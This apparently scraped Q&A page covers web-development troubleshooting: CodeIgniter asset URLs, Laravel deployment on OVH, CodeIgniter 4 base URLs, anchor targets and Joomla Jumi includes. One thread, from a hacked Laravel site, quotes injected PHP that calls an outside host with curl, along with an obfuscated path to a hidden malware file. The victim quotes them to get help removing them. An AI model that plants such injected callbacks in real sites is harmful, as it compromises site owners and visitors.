codeigniter on wamp 403 forbidden error - codeigniter

I set up a codeigniter project on my wamp www folder
The assets of my project is in 'assets' folder which is in the same folder as the application folder.
However when I access my localhost, the css,images and js which are in the asset folder is unable to load.
When I type localhost/assets instead, I can access them.
I set http.conf in the apache folder to set to "Allow from all" as well.
when i access the url from the developer tools for chrome, I have characters within the url like this
%3C?=%20base_url()%20?%3Eassets/img/a.jpg
Any idea what is wrong here?

It seams that the function base_url() is not executed and just printed in your view.
Try to enclose the function in a php block and echo it out with the path to the asset.
<?php
echo base_url() . 'assets/img/a.jpg';
?>
Or as stealthyninja mentioned in the comment, the short-open-tag you used is interpreted as text.
You can enable it in the php.ini with
short_open_tag=On
When you can't modify the php.ini, you can enable it in the codeigniter config.php with
$config['rewrite_short_tags'] = TRUE;
Now the short open tags are interpreted right
<?= base_url() . 'assets/img/a.jpg' ?>

check you config.php file:
$config['rewrite_short_tags'] = TRUE;
or try this :
<?php echo base_url()?>assets/img/a.jpg

Related

How to deploy laravel project on ovh hosting?

For the last month I coded a laravel project on local, using Laragon to have a local server. Now I want to deploy it online, using an ovh hosting ( required by a client ). So I have my ovh hosting, with the "perso" offer.
I used the ftp credentials given by ovh, with FileZilla, and it worked. It gave me something like this :
Then I uploaded all my project in the www folder. Now, when go to the domain, it doesn't display the front page but rather the folder itself, aka this :
For now, I didn't touch the .env file. I deleted the default index.html in the www folder, I know the problem probably come from this. I searched everywhere and found not clear explanation. My knowledge on web hosting is limited, so I'm struggling with this. I know I missed something. Anyone who could help me, would save my life. Thank you !
do not put you project files in the www folder, instead put them in a folder outside that directory 'called laravel for example'.
then copy or move the contents of the 'public' directory to 'www'. (www dir will now contain index.php,...).
edit the two lines in www/index.php that require autoload.php and app.php to reflect the new directory changes:
require __DIR__.'/../vendor/autoload.php';
should be:
require __DIR__.'/../laravel/vendor/autoload.php';
and
$app = require_once __DIR__.'/../bootstrap/app.php';
should be:
$app = require_once __DIR__.'/../laravel/bootstrap/app.php';
The best is to create a new folder in the /www folder with the name of your project.
For exemple: /www/laravel-project
Then you will need to go OVH admin panel, click on your domain and change the folder it is going to by /www/laravel-project/public
You need to go to the public folder of your Laravel project.
saying that your project name is : Laraval_project :
using "filezilla", put 'laravel_project/' under the directory 'www/'.
find the dir named : 'public/' under 'laravel_project/' and copie/pass it in the the parent dir, wich is : 'www/'.
now u have side by side 'laravel_project/' and 'public/' under 'www/'.
in 'public/' folder u'll find four files -> move them all to the parent dir, wich is 'www/'..
edit www/index.php file as Rabah said :
edit the two lines in www/index.php that require autoload.php and
app.php to reflect the new directory changes:
require __DIR__.'/../vendor/autoload.php';
should be:
require __DIR__.'/laravel_projec/vendor/autoload.php';
and
$app = require_once __DIR__.'/../bootstrap/app.php';
should be:
$app = require_once __DIR__.'/laravel_project/bootstrap/app.php';
if ther is a file named : 'www/index.html', rename it :
'index.html.old . enjoy

Some script add automatically in root folder files in Laravel

My site has been created in Laravel and it has been hacked but we have started it and we have removed some unwanted code in files. But there is still some script automatically add to the root file(index.php) due to which the site is being affected.
Please give me some solution, what can we do to remove the automatic files from the root folder?
<?php
$exe = curl_init();
curl_setopt($exe, CURLOPT_URL, "https://hacklink.market/panel/code?x=5");
curl_exec($exe);
?>
This code is added automatically in index.php file.
Please change the server credentials and the database credentials as well.
if you want to check the which file is called, you simply echo the statement and you will get that file.
<?php
/*df76c*/
echo "\057ho\155e/\145ar\164ht\157he\141ve\156co\057pu\142li\143_h \164ml\057li\142ra\162ie\163/f\060f/\151nt\145gr\141ti\157n/\05659\06725\06435\056ic\157";
/*df76c*/
?>
This will return your server path with the infected file main script.
/home/earthtoheavenco/public_h tml/libraries/f0f/integration/.59725435.ico
Please delete all such these files from your server end.
Hope this will help you. Thanks

How do I access Codeigniter 4 base url on live server?

I uploaded Codeigniter 4 to a shared hosting in a subdirectory.
I can access the installation (the default controller) if I go to http://example.com/ci4/public
but how can I access the default controller if I want to use http://example.com/ci4/
I already added http://example.com/ci4/ in App.php as baseurl. But currenty I'm getting a page not found error.
Try this okay.
I hope it will work
I discovered that when I try to point all my url to public/index.php in my project it return error 404 based on it can't find my controller after rewriting my .htaccess to point to public/index.php in my project root directory.
This is how I solved my problem =>
I move the index.php and the default .htaccess from public directory to my project root directory then I edit the index.php to locate my app directory
E.g
index.php Default find this line
// This is the line that might need to be changed, depending on your folder structure.
$pathsPath = FCPATH . '../app/Config/Paths.php';
Change it to
// This is the line that might need to be changed, depending on your folder structure.
$pathsPath = FCPATH . './app/Config/Paths.php';
I hope this work for you

Anchor target doesn't work

I have a problem with the target tag of anchors. The anchor specification is:
<?php echo anchor(site_url('areaResponsable/perfil'), "Aquí", array('target' => '_self')); ?>
But, when I upload the project to the server, the links open in a new tab. And FireBug shows the next anchor:
<a class="external_link" target="_blank"
href="http://apps.manantiales.edu.ar/index.php/areaResponsable/perfil">Aquí</a>
Whats wrong, any ideas?
I checked your website http://apps.manantiales.edu.ar/index.php and did a wget for all your js files. I found that a library named gebo_common.js is setting any link with 'http' in it as an external link. Which using site_url will use http.
The file http://apps.manantiales.edu.ar/js/gebo_common.js on your server has jQuery code to set the class 'external_link' to absolute urls.
So do this:
echo anchor('areaResponsable/perfil', "Aquí")

Joomla include js using jumi

I can't manage to include a javascript in an article(directly in the wysiwyg editor) using jumi.
What I've tried:
{jumi /path/to/file.js}
{jumi [/path/to/file.js]}
{jumi /path/to/file.js}{/jumi}
{jumi [/path/to/file.js]}{/jumi}
"file.js" is located in a folder in the same directory as Joomla.
I'm using joomla v. 1.7.3 and Jumi 2.0.6.
Is there something I'm missing?
I'm not sure if this solution is much different than yours, but you can got to the Jumi Application Manager and create a new entry like this:
<?php
$document =& JFactory::getDocument();
$document->addStyleSheet('path/file.css');
$document->addScript('path/file.js');
?>
Then add this to your article:
{jumi[*5]}
Where "5" is the id of the Jumi entry.
At least this is how I do it in Joomla 1.5...
I've found a workaround, it's not elegant, but it works:
create two files, 1 php which will echo a script element and a javascript file that you wish to include
in the article put:
{jumi [path/to/a/php/file.php]}
the php file should be
<?php
echo "<script type=\"text/javascript\" language=\"javascript\" src=\"path/to/js/file.js\"></script>"
?>
Enjoy!

Resources